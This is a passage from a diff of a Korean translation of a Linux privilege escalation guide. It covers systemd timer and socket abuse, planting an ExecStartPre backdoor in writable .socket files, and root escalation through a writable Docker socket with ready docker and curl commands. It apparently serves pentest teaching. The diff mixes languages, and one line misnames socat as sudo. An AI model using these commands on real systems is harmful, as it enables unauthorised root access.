์žˆ์Šต๋‹ˆ๋‹ค. ```bash Unit=backdoor.service ``` -> The unit to activate when this timer elapses. The argument is a unit name, whose suffix is not ".timer". If not specified, this value defaults to a service that has the same name as the timer unit, except for the suffix. (See above.) It is recommended that the unit name that is activated and the unit name of the timer unit are named identically, except for the suffix. +In the documentation you can read what the Unit is: -๋”ฐ๋ผ์„œ, ์ด ๊ถŒํ•œ์„ ์•…์šฉํ•˜๋ ค๋ฉด ๋‹ค์Œ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค: +> ํƒ€์ด๋จธ๊ฐ€ ๋งŒ๋ฃŒ๋  ๋•Œ ํ™œ์„ฑํ™”ํ•  Unit์ž…๋‹ˆ๋‹ค. ์ธ์ˆ˜๋Š” ์ ‘๋ฏธ์‚ฌ๊ฐ€ ".timer"๊ฐ€ ์•„๋‹Œ unit ์ด๋ฆ„์ž…๋‹ˆ๋‹ค. ์ง€์ •ํ•˜์ง€ ์•Š์œผ๋ฉด, ์ด ๊ฐ’์€ ํƒ€์ด๋จธ unit๊ณผ ๋™์ผํ•œ ์ด๋ฆ„์„ ๊ฐ€์ง€๋˜ ์ ‘๋ฏธ์‚ฌ๋งŒ ๋‹ค๋ฅธ service๋กœ ๊ธฐ๋ณธ ์„ค์ •๋ฉ๋‹ˆ๋‹ค. (See above.) ํ™œ์„ฑํ™”๋˜๋Š” unit ์ด๋ฆ„๊ณผ ํƒ€์ด๋จธ unit์˜ ์ด๋ฆ„์€ ์ ‘๋ฏธ์‚ฌ๋ฅผ ์ œ์™ธํ•˜๊ณ  ๋™์ผํ•˜๊ฒŒ ๋ช…๋ช…ํ•˜๋Š” ๊ฒƒ์ด ๊ถŒ์žฅ๋ฉ๋‹ˆ๋‹ค. -- ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ **์‹คํ–‰ํ•˜๋Š”** systemd unit(์˜ˆ: `.service`)์„ ์ฐพ์Šต๋‹ˆ๋‹ค -- **์ƒ๋Œ€ ๊ฒฝ๋กœ๋ฅผ ์‹คํ–‰ํ•˜๋Š”** systemd unit์„ ์ฐพ๊ณ , ํ•ด๋‹น **systemd PATH**์— ๋Œ€ํ•ด **์“ฐ๊ธฐ ๊ถŒํ•œ**์ด ์žˆ์–ด ๊ทธ ์‹คํ–‰ํŒŒ์ผ์„ ๊ฐ€์žฅ(impersonate)ํ•  ์ˆ˜ ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค +Therefore, to abuse this permission you would need to: -**ํƒ€์ด๋จธ์— ๋Œ€ํ•ด ๋” ์•Œ์•„๋ณด๋ ค๋ฉด `man systemd.timer`๋ฅผ ์ฐธ๊ณ ํ•˜์„ธ์š”.** +- ์–ด๋–ค systemd unit (์˜ˆ: `.service`)์ด **์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์‹คํ–‰ํ•˜๋Š”** ๊ฒƒ์„ ์ฐพ์œผ์„ธ์š” +- ์–ด๋–ค systemd unit์ด **์ƒ๋Œ€ ๊ฒฝ๋กœ๋ฅผ ์‹คํ–‰ํ•˜๋Š”** ๊ฒƒ์„ ์ฐพ๊ณ , ๋‹น์‹ ์ด **systemd PATH์— ๋Œ€ํ•œ ์“ฐ๊ธฐ ๊ถŒํ•œ**์„ ๊ฐ€์ง€๊ณ  ์žˆ์–ด ํ•ด๋‹น ์‹คํ–‰ํŒŒ์ผ์„ ์œ„์žฅ(๋˜๋Š” ๋Œ€์ฒด)ํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š” + +**Learn more about timers with `man systemd.timer`.** ### **ํƒ€์ด๋จธ ํ™œ์„ฑํ™”** @@ -492,28 +496,28 @@ Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd ## ์†Œ์ผ“ -Unix Domain Sockets (UDS)๋Š” ํด๋ผ์ด์–ธํŠธ-์„œ๋ฒ„ ๋ชจ๋ธ์—์„œ ๊ฐ™์€ ๋จธ์‹  ๋˜๋Š” ๋‹ค๋ฅธ ๋จธ์‹  ๊ฐ„์˜ **ํ”„๋กœ์„ธ์Šค ํ†ต์‹ **์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋“ค์€ ์ปดํ“จํ„ฐ ๊ฐ„ ํ†ต์‹ ์„ ์œ„ํ•ด ํ‘œ์ค€ Unix ๋””์Šคํฌ๋ฆฝํ„ฐ ํŒŒ์ผ์„ ์‚ฌ์šฉํ•˜๋ฉฐ `.socket` ํŒŒ์ผ์„ ํ†ตํ•ด ์„ค์ •๋ฉ๋‹ˆ๋‹ค. +Unix Domain Sockets (UDS) ๋Š” ํด๋ผ์ด์–ธํŠธ-์„œ๋ฒ„ ๋ชจ๋ธ์—์„œ ๋™์ผํ•˜๊ฑฐ๋‚˜ ๋‹ค๋ฅธ ๋จธ์‹  ๊ฐ„์˜ **ํ”„๋กœ์„ธ์Šค ๊ฐ„ ํ†ต์‹ **์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋“ค์€ ์ปดํ“จํ„ฐ ๊ฐ„ ํ†ต์‹ ์„ ์œ„ํ•ด ํ‘œ์ค€ Unix ๋””์Šคํฌ๋ฆฝํ„ฐ ํŒŒ์ผ์„ ์‚ฌ์šฉํ•˜๋ฉฐ `.socket` ํŒŒ์ผ์„ ํ†ตํ•ด ์„ค์ •๋ฉ๋‹ˆ๋‹ค. Sockets can be configured using `.socket` files. -**Learn more about sockets with `man systemd.socket`.** ์ด ํŒŒ์ผ ๋‚ด๋ถ€์—๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์€ ํฅ๋ฏธ๋กœ์šด ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ๊ตฌ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +**Learn more about sockets with `man systemd.socket`.** Inside this file, several interesting parameters can be configured: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: ์ด ์˜ต์…˜๋“ค์€ ์„œ๋กœ ๋‹ค๋ฅด์ง€๋งŒ ์š”์•ฝ์ ์œผ๋กœ **์†Œ์ผ“์ด ์–ด๋””์—์„œ ๋ฆฌ์Šค๋‹ํ• ์ง€(์ˆ˜์‹ ํ• ์ง€)๋ฅผ ํ‘œ์‹œ**ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค (AF_UNIX ์†Œ์ผ“ ํŒŒ์ผ์˜ ๊ฒฝ๋กœ, ์ˆ˜์‹ ํ•  IPv4/6 ๋ฐ/๋˜๋Š” ํฌํŠธ ๋ฒˆํ˜ธ ๋“ฑ). -- `Accept`: boolean ์ธ์ˆ˜๋ฅผ ๋ฐ›์Šต๋‹ˆ๋‹ค. ๋งŒ์•ฝ **true**์ด๋ฉด, ๋“ค์–ด์˜ค๋Š” ๊ฐ ์—ฐ๊ฒฐ๋งˆ๋‹ค **์„œ๋น„์Šค ์ธ์Šคํ„ด์Šค๊ฐ€ ์ƒ์„ฑ**๋˜๋ฉฐ ์˜ค์ง ์—ฐ๊ฒฐ ์†Œ์ผ“๋งŒ ๊ทธ ์ธ์Šคํ„ด์Šค์— ์ „๋‹ฌ๋ฉ๋‹ˆ๋‹ค. ๋งŒ์•ฝ **false**์ด๋ฉด, ๋ชจ๋“  ๋ฆฌ์Šค๋‹ ์†Œ์ผ“ ์ž์ฒด๊ฐ€ **์‹œ์ž‘๋œ service unit์— ์ „๋‹ฌ**๋˜๋ฉฐ ๋ชจ๋“  ์—ฐ๊ฒฐ์— ๋Œ€ํ•ด ๋‹จ ํ•˜๋‚˜์˜ ์„œ๋น„์Šค ์œ ๋‹›๋งŒ ์ƒ์„ฑ๋ฉ๋‹ˆ๋‹ค. ์ด ๊ฐ’์€ datagram ์†Œ์ผ“๊ณผ FIFO์—์„œ๋Š” ๋ฌด์‹œ๋˜๋ฉฐ, ์ด ๊ฒฝ์šฐ ๋‹จ์ผ ์„œ๋น„์Šค ์œ ๋‹›์ด ๋ชจ๋“  ์ˆ˜์‹  ํŠธ๋ž˜ํ”ฝ์„ ๋ฌด์กฐ๊ฑด ์ฒ˜๋ฆฌํ•ฉ๋‹ˆ๋‹ค. **๊ธฐ๋ณธ๊ฐ’์€ false**์ž…๋‹ˆ๋‹ค. ์„ฑ๋Šฅ์ƒ์˜ ์ด์œ ๋กœ, ์ƒˆ๋กœ์šด ๋ฐ๋ชฌ์€ `Accept=no`์— ์ ํ•ฉํ•œ ๋ฐฉ์‹์œผ๋กœ๋งŒ ์ž‘์„ฑํ•˜๋Š” ๊ฒƒ์ด ๊ถŒ์žฅ๋ฉ๋‹ˆ๋‹ค. -- `ExecStartPre`, `ExecStartPost`: ํ•˜๋‚˜ ์ด์ƒ ๋ช…๋ น์ค„์„ ๋ฐ›์œผ๋ฉฐ, ๊ฐ๊ฐ ๋ฆฌ์Šค๋‹ **์†Œ์ผ“**/FIFO๊ฐ€ ์ƒ์„ฑ๋˜๊ณ  ๋ฐ”์ธ๋“œ๋˜๊ธฐ **์ „** ๋˜๋Š” **ํ›„**์— **์‹คํ–‰**๋ฉ๋‹ˆ๋‹ค. ๋ช…๋ น์ค„์˜ ์ฒซ ๋ฒˆ์งธ ํ† ํฐ์€ ์ ˆ๋Œ€ ๊ฒฝ๋กœ์˜ ํŒŒ์ผ๋ช…์ด์–ด์•ผ ํ•˜๋ฉฐ, ๊ทธ ๋’ค์— ํ”„๋กœ์„ธ์Šค ์ธ์ˆ˜๊ฐ€ ๋”ฐ๋ผ์˜ต๋‹ˆ๋‹ค. -- `ExecStopPre`, `ExecStopPost`: ๋ฆฌ์Šค๋‹ **์†Œ์ผ“**/FIFO๊ฐ€ ๋‹ซํžˆ๊ณ  ์ œ๊ฑฐ๋˜๊ธฐ **์ „** ๋˜๋Š” **ํ›„**์— **์‹คํ–‰๋˜๋Š” ์ถ”๊ฐ€ ๋ช…๋ น๋“ค**์ž…๋‹ˆ๋‹ค. -- `Service`: ์ˆ˜์‹  ํŠธ๋ž˜ํ”ฝ์—์„œ ํ™œ์„ฑํ™”ํ•  **service** ์œ ๋‹› ์ด๋ฆ„์„ ์ง€์ •ํ•ฉ๋‹ˆ๋‹ค. ์ด ์„ค์ •์€ `Accept=no`์ธ ์†Œ์ผ“์—์„œ๋งŒ ํ—ˆ์šฉ๋ฉ๋‹ˆ๋‹ค. ๊ธฐ๋ณธ๊ฐ’์€ ์†Œ์ผ“๊ณผ ๋™์ผํ•œ ์ด๋ฆ„(์ ‘๋ฏธ์‚ฌ ์น˜ํ™˜)์„ ๊ฐ€์ง„ ์„œ๋น„์Šค์ž…๋‹ˆ๋‹ค. ๋Œ€๋ถ€๋ถ„์˜ ๊ฒฝ์šฐ ์ด ์˜ต์…˜์„ ์‚ฌ์šฉํ•  ํ•„์š”๋Š” ์—†์Šต๋‹ˆ๋‹ค. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: These options are different but a summary is used to **indicate where it is going to listen** to the socket (the path of the AF_UNIX socket file, the IPv4/6 and/or port number to listen, etc.) +- `Accept`: Takes a boolean argument. If **true**, a **service instance is spawned for each incoming connection** and only the connection socket is passed to it. If **false**, all listening sockets themselves are **passed to the started service unit**, and only one service unit is spawned for all connections. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. **Defaults to false**. For performance reasons, it is recommended to write new daemons only in a way that is suitable for `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Takes one or more command lines, which are **executed before** or **after** the listening **sockets**/FIFOs are **created** and bound, respectively. The first token of the command line must be an absolute filename, then followed by arguments for the process. +- `ExecStopPre`, `ExecStopPost`: Additional **commands** that are **executed before** or **after** the listening **sockets**/FIFOs are **closed** and removed, respectively. +- `Service`: Specifies the **service** unit name **to activate** on **incoming traffic**. This setting is only allowed for sockets with Accept=no. It defaults to the service that bears the same name as the socket (with the suffix replaced). In most cases, it should not be necessary to use this option. -### ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ .socket ํŒŒ์ผ +### Writable .socket files -์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ `.socket` ํŒŒ์ผ์„ ์ฐพ์œผ๋ฉด `[Socket]` ์„น์…˜์˜ ์‹œ์ž‘ ๋ถ€๋ถ„์— `ExecStartPre=/home/kali/sys/backdoor` ๊ฐ™์€ ํ•ญ๋ชฉ์„ **์ถ”๊ฐ€**ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋ ‡๊ฒŒ ํ•˜๋ฉด ์†Œ์ผ“์ด ์ƒ์„ฑ๋˜๊ธฐ ์ „์— ๋ฐฑ๋„์–ด๊ฐ€ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ **๋จธ์‹ ์„ ์žฌ๋ถ€ํŒ…ํ•  ๋•Œ๊นŒ์ง€ ๊ธฐ๋‹ค๋ ค์•ผ ํ•  ๊ฐ€๋Šฅ์„ฑ์ด ํฝ๋‹ˆ๋‹ค.**\ -_Note that the system must be using that socket file configuration or the backdoor won't be executed_ +If you find a **writable** `.socket` file you can **add** at the beginning of the `[Socket]` section something like: `ExecStartPre=/home/kali/sys/backdoor` and the backdoor will be executed before the socket is created. Therefore, you will **probably need to wait until the machine is rebooted.**\ +_์‹œ์Šคํ…œ์ด ํ•ด๋‹น socket ํŒŒ์ผ ๊ตฌ์„ฑ์„ ์‹ค์ œ๋กœ ์‚ฌ์šฉํ•ด์•ผ๋งŒ ๋ฐฑ๋„์–ด๊ฐ€ ์‹คํ–‰๋œ๋‹ค๋Š” ์ ์„ ์œ ์˜ํ•˜์„ธ์š”._ -### ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ์†Œ์ผ“ +### Writable sockets -๊ตฌ์„ฑ ํŒŒ์ผ์ธ `.socket` ํŒŒ์ผ์ด ์•„๋‹ˆ๋ผ Unix Sockets ์ž์ฒด์— ๋Œ€ํ•ด ๋งํ•˜๋Š” ๊ฒƒ์ด์ง€๋งŒ, ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ์†Œ์ผ“์„ ์‹๋ณ„ํ•˜๋ฉด ํ•ด๋‹น ์†Œ์ผ“๊ณผ ํ†ต์‹ ํ•  ์ˆ˜ ์žˆ๊ณ  ์ทจ์•ฝ์ ์„ ์•…์šฉํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. +If you **identify any writable socket** (_now we are talking about Unix Sockets and not about the config `.socket` files_), then **you can communicate** with that socket and maybe exploit a vulnerability. -### Unix Sockets ์—ด๊ฑฐ +### Enumerate Unix Sockets ```bash netstat -a -p --unix ``` @@ -535,13 +539,13 @@ socket-command-injection.md ### HTTP sockets -์ผ๋ถ€ **sockets listening for HTTP** ์š”์ฒญ์ด ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (_์—ฌ๊ธฐ์„œ ๋งํ•˜๋Š” ๊ฒƒ์€ .socket files๊ฐ€ ์•„๋‹ˆ๋ผ unix sockets๋กœ ๋™์ž‘ํ•˜๋Š” ํŒŒ์ผ๋“ค์ž…๋‹ˆ๋‹ค_). ๋‹ค์Œ ๋ช…๋ น์œผ๋กœ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +๋‹ค์Œ์— ์œ ์˜ํ•˜์„ธ์š”: ์ผ๋ถ€ **sockets listening for HTTP** ์š”์ฒญ์ด ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (_์—ฌ๊ธฐ์„œ ๋งํ•˜๋Š” ๊ฒƒ์€ .socket files๊ฐ€ ์•„๋‹ˆ๋ผ unix sockets๋กœ ๋™์ž‘ํ•˜๋Š” ํŒŒ์ผ๋“ค์ž…๋‹ˆ๋‹ค_). ๋‹ค์Œ ๋ช…๋ น์œผ๋กœ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` If the socket **responds with an HTTP** request, then you can **communicate** with it and maybe **exploit some vulnerability**. -### Writable Docker Socket +### ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ Docker ์†Œ์ผ“ The Docker socket, often found at `/var/run/docker.sock`, is a critical file that should be secured. By default, it's writable by the `root` user and members of the `docker` group. Possessing write access to this socket can lead to privilege escalation. Here's a breakdown of how this can be done and alternative methods if the Docker CLI isn't available. @@ -552,11 +556,11 @@ If you have write access to the Docker socket, you can escalate privileges using docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -์ด ๋ช…๋ น๋“ค์€ ํ˜ธ์ŠคํŠธ์˜ ํŒŒ์ผ ์‹œ์Šคํ…œ์— root-level ์•ก์„ธ์Šค๋กœ ์ปจํ…Œ์ด๋„ˆ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. +์ด ๋ช…๋ น๋“ค์€ ํ˜ธ์ŠคํŠธ์˜ ํŒŒ์ผ ์‹œ์Šคํ…œ์— ๋Œ€ํ•œ root ์ˆ˜์ค€ ์•ก์„ธ์Šค๋ฅผ ๊ฐ€์ง„ container๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. -#### **Docker API ์ง์ ‘ ์‚ฌ์šฉ** +#### **Docker API๋ฅผ ์ง์ ‘ ์‚ฌ์šฉํ•˜๊ธฐ** -Docker CLI๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์—†๋Š” ๊ฒฝ์šฐ์—๋„ Docker socket์€ Docker API์™€ `curl` ๋ช…๋ น์œผ๋กœ ์—ฌ์ „ํžˆ ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +Docker CLI๊ฐ€ ์—†๋Š” ๊ฒฝ์šฐ์—๋„ Docker socket์€ Docker API์™€ `curl` ๋ช…๋ น์œผ๋กœ ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. 1. **List Docker Images:** ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ ์ด๋ฏธ์ง€ ๋ชฉ๋ก์„ ๊ฐ€์ ธ์˜ต๋‹ˆ๋‹ค. @@ -564,19 +568,19 @@ Docker CLI๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์—†๋Š” ๊ฒฝ์šฐ์—๋„ Docker socket์€ Docker API์™€ ` curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** ํ˜ธ์ŠคํŠธ ์‹œ์Šคํ…œ์˜ ๋ฃจํŠธ ๋””๋ ‰ํ† ๋ฆฌ๋ฅผ ๋งˆ์šดํŠธํ•˜๋Š” ์ปจํ…Œ์ด๋„ˆ๋ฅผ ์ƒ์„ฑํ•˜๋Š” ์š”์ฒญ์„ ๋ณด๋ƒ…๋‹ˆ๋‹ค. +2. **Create a Container:** ํ˜ธ์ŠคํŠธ ์‹œ์Šคํ…œ์˜ ๋ฃจํŠธ ๋””๋ ‰ํ„ฐ๋ฆฌ๋ฅผ ๋งˆ์šดํŠธํ•˜๋Š” container๋ฅผ ์ƒ์„ฑํ•˜๋Š” ์š”์ฒญ์„ ์ „์†กํ•ฉ๋‹ˆ๋‹ค. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -์ƒˆ๋กœ ์ƒ์„ฑ๋œ ์ปจํ…Œ์ด๋„ˆ๋ฅผ ์‹œ์ž‘ํ•ฉ๋‹ˆ๋‹ค: +์ƒ์„ฑํ•œ container๋ฅผ ์‹œ์ž‘ํ•ฉ๋‹ˆ๋‹ค: ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** `socat`๋ฅผ ์‚ฌ์šฉํ•ด ์—ฐ๊ฒฐ์„ ์„ค์ •ํ•˜๋ฉด ์ปจํ…Œ์ด๋„ˆ ๋‚ด๋ถ€์—์„œ ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +3. **Attach to the Container:** `socat`์„ ์‚ฌ์šฉํ•ด container์— ์—ฐ๊ฒฐ์„ ์„ค์ •ํ•˜๋ฉด ๊ทธ ์•ˆ์—์„œ ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -586,11 +590,11 @@ Connection: Upgrade Upgrade: tcp ``` -`socat` ์—ฐ๊ฒฐ์„ ์„ค์ •ํ•œ ํ›„์—๋Š” ํ˜ธ์ŠคํŠธ ํŒŒ์ผ ์‹œ์Šคํ…œ์— ๋Œ€ํ•œ root-level ์•ก์„ธ์Šค๋กœ ์ปจํ…Œ์ด๋„ˆ ๋‚ด์—์„œ ๋ช…๋ น์„ ์ง์ ‘ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +`sudo` ์—ฐ๊ฒฐ์„ ์„ค์ •ํ•œ ํ›„์—๋Š” `socat` ์—ฐ๊ฒฐ์„ ํ†ตํ•ด container ๋‚ด์—์„œ ํ˜ธ์ŠคํŠธ ํŒŒ์ผ ์‹œ์Šคํ…œ์— ๋Œ€ํ•œ root ๊ถŒํ•œ์œผ๋กœ ์ง์ ‘ ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ### ๊ธฐํƒ€ -docker ๊ทธ๋ฃน `docker`์— ์†ํ•ด ์žˆ์–ด docker socket์— ๋Œ€ํ•œ ์“ฐ๊ธฐ ๊ถŒํ•œ์ด ์žˆ๋‹ค๋ฉด [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group)๋ฅผ ํ™œ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋˜ํ•œ [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising) ๊ฒฝ์šฐ ์ด๋ฅผ ์•…์šฉํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. +docker ์†Œ์ผ“์— ๋Œ€ํ•ด ์“ฐ๊ธฐ ๊ถŒํ•œ์ด ์žˆ๊ณ  **inside the group `docker`**๋ผ๋ฉด [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group)๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ๋˜ํ•œ [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising)๋ผ๋ฉด ์ด๋ฅผ ์•…์šฉํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค์Œ์—์„œ **more ways to break out from docker or abuse it to escalate privileges**๋ฅผ ํ™•์ธํ•˜์„ธ์š”: @@ -601,7 +605,7 @@ docker-security/ ## Containerd (ctr) privilege escalation -๋งŒ์•ฝ **`ctr`** ๋ช…๋ น์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด ๋‹ค์Œ ํŽ˜์ด์ง€๋ฅผ ์ฝ์–ด๋ณด์„ธ์š” โ€” **you may be able to abuse it to escalate privileges**: +If you find that you can use the **`ctr`** command read the following page as **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -610,7 +614,7 @@ containerd-ctr-privilege-escalation.md ## **RunC** privilege escalation -๋งŒ์•ฝ **`runc`** ๋ช…๋ น์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด ๋‹ค์Œ ํŽ˜์ด์ง€๋ฅผ ์ฝ์–ด๋ณด์„ธ์š” โ€” **you may be able to abuse it to escalate privileges**: +If you find that you can use the **`runc`** command read the following page as **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -619,15 +623,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜๋“ค์ด ํšจ์œจ์ ์œผ๋กœ ์ƒํ˜ธ์ž‘์šฉํ•˜๊ณ  ๋ฐ์ดํ„ฐ๋ฅผ ๊ณต์œ ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ฃผ๋Š” ์ •๊ตํ•œ inter-Process Communication (IPC) ์‹œ์Šคํ…œ์ž…๋‹ˆ๋‹ค. ํ˜„๋Œ€ Linux ์‹œ์Šคํ…œ์„ ์—ผ๋‘์— ๋‘๊ณ  ์„ค๊ณ„๋˜์–ด ๋‹ค์–‘ํ•œ ํ˜•ํƒœ์˜ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ํ†ต์‹ ์„ ์œ„ํ•œ ๊ฐ•๋ ฅํ•œ ํ”„๋ ˆ์ž„์›Œํฌ๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. +D-Bus๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ํšจ์œจ์ ์œผ๋กœ ์ƒํ˜ธ์ž‘์šฉํ•˜๊ณ  ๋ฐ์ดํ„ฐ๋ฅผ ๊ณต์œ ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ฃผ๋Š” ์ •๊ตํ•œ Inter-Process Communication (IPC) ์‹œ์Šคํ…œ์ž…๋‹ˆ๋‹ค. ํ˜„๋Œ€ Linux ์‹œ์Šคํ…œ์„ ์—ผ๋‘์— ๋‘๊ณ  ์„ค๊ณ„๋˜์–ด ์žˆ์œผ๋ฉฐ, ๋‹ค์–‘ํ•œ ํ˜•ํƒœ์˜ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ํ†ต์‹ ์„ ์œ„ํ•œ ๊ฒฌ๊ณ ํ•œ ํ”„๋ ˆ์ž„์›Œํฌ๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. -์ด ์‹œ์Šคํ…œ์€ ํ”„๋กœ์„ธ์Šค ๊ฐ„ ๋ฐ์ดํ„ฐ ๊ตํ™˜์„ ํ–ฅ์ƒ์‹œํ‚ค๋Š” ๊ธฐ๋ณธ์ ์ธ IPC๋ฅผ ์ง€์›ํ•˜๋ฉฐ, ์ด๋Š” ํ™•์žฅ๋œ UNIX domain sockets์™€ ์œ ์‚ฌํ•ฉ๋‹ˆ๋‹ค. ๋˜ํ•œ ์ด๋ฒคํŠธ๋‚˜ ์‹ ํ˜ธ๋ฅผ ๋ธŒ๋กœ๋“œ์บ์ŠคํŠธํ•˜์—ฌ ์‹œ์Šคํ…œ ๊ตฌ์„ฑ ์š”์†Œ ๊ฐ„์˜ ์›ํ™œํ•œ ํ†ตํ•ฉ์„ ๋•์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด Bluetooth ๋ฐ๋ชฌ์œผ๋กœ๋ถ€ํ„ฐ์˜ ์ˆ˜์‹  ์ „ํ™” ์‹ ํ˜ธ๊ฐ€ ์Œ์•… ํ”Œ๋ ˆ์ด์–ด๋ฅผ ์Œ์†Œ๊ฑฐํ•˜๋„๋ก ํŠธ๋ฆฌ๊ฑฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋”๋ถˆ์–ด D-Bus๋Š” ์›๊ฒฉ ๊ฐ์ฒด ์‹œ์Šคํ…œ์„ ์ง€์›ํ•˜์—ฌ ์„œ๋น„์Šค ์š”์ฒญ๊ณผ ๋ฉ”์„œ๋“œ ํ˜ธ์ถœ์„ ๋‹จ์ˆœํ™”ํ•จ์œผ๋กœ์จ ์ „ํ†ต์ ์œผ๋กœ ๋ณต์žกํ–ˆ๋˜ ํ”„๋กœ์„ธ์Šค๋ฅผ ๊ฐ„์†Œํ™”ํ•ฉ๋‹ˆ๋‹ค. +์ด ์‹œ์Šคํ…œ์€ ํ”„๋กœ์„ธ์Šค ๊ฐ„ ๋ฐ์ดํ„ฐ ๊ตํ™˜์„ ํ–ฅ์ƒ์‹œํ‚ค๋Š” ๊ธฐ๋ณธ์ ์ธ IPC๋ฅผ ์ง€์›ํ•˜๋ฉฐ, ์ด๋Š” ํ–ฅ์ƒ๋œ UNIX domain sockets์™€ ์œ ์‚ฌํ•ฉ๋‹ˆ๋‹ค. ๋˜ํ•œ ์ด๋ฒคํŠธ๋‚˜ ์‹ ํ˜ธ๋ฅผ ๋ธŒ๋กœ๋“œ์บ์ŠคํŠธํ•˜๋Š” ๊ฒƒ์„ ๋„์™€ ์‹œ์Šคํ…œ ๊ตฌ์„ฑ ์š”์†Œ ๊ฐ„์˜ ์›ํ™œํ•œ ํ†ตํ•ฉ์„ ์ด‰์ง„ํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด Bluetooth ๋ฐ๋ชฌ์—์„œ ์˜ค๋Š” ํ†ตํ™” ์‹ 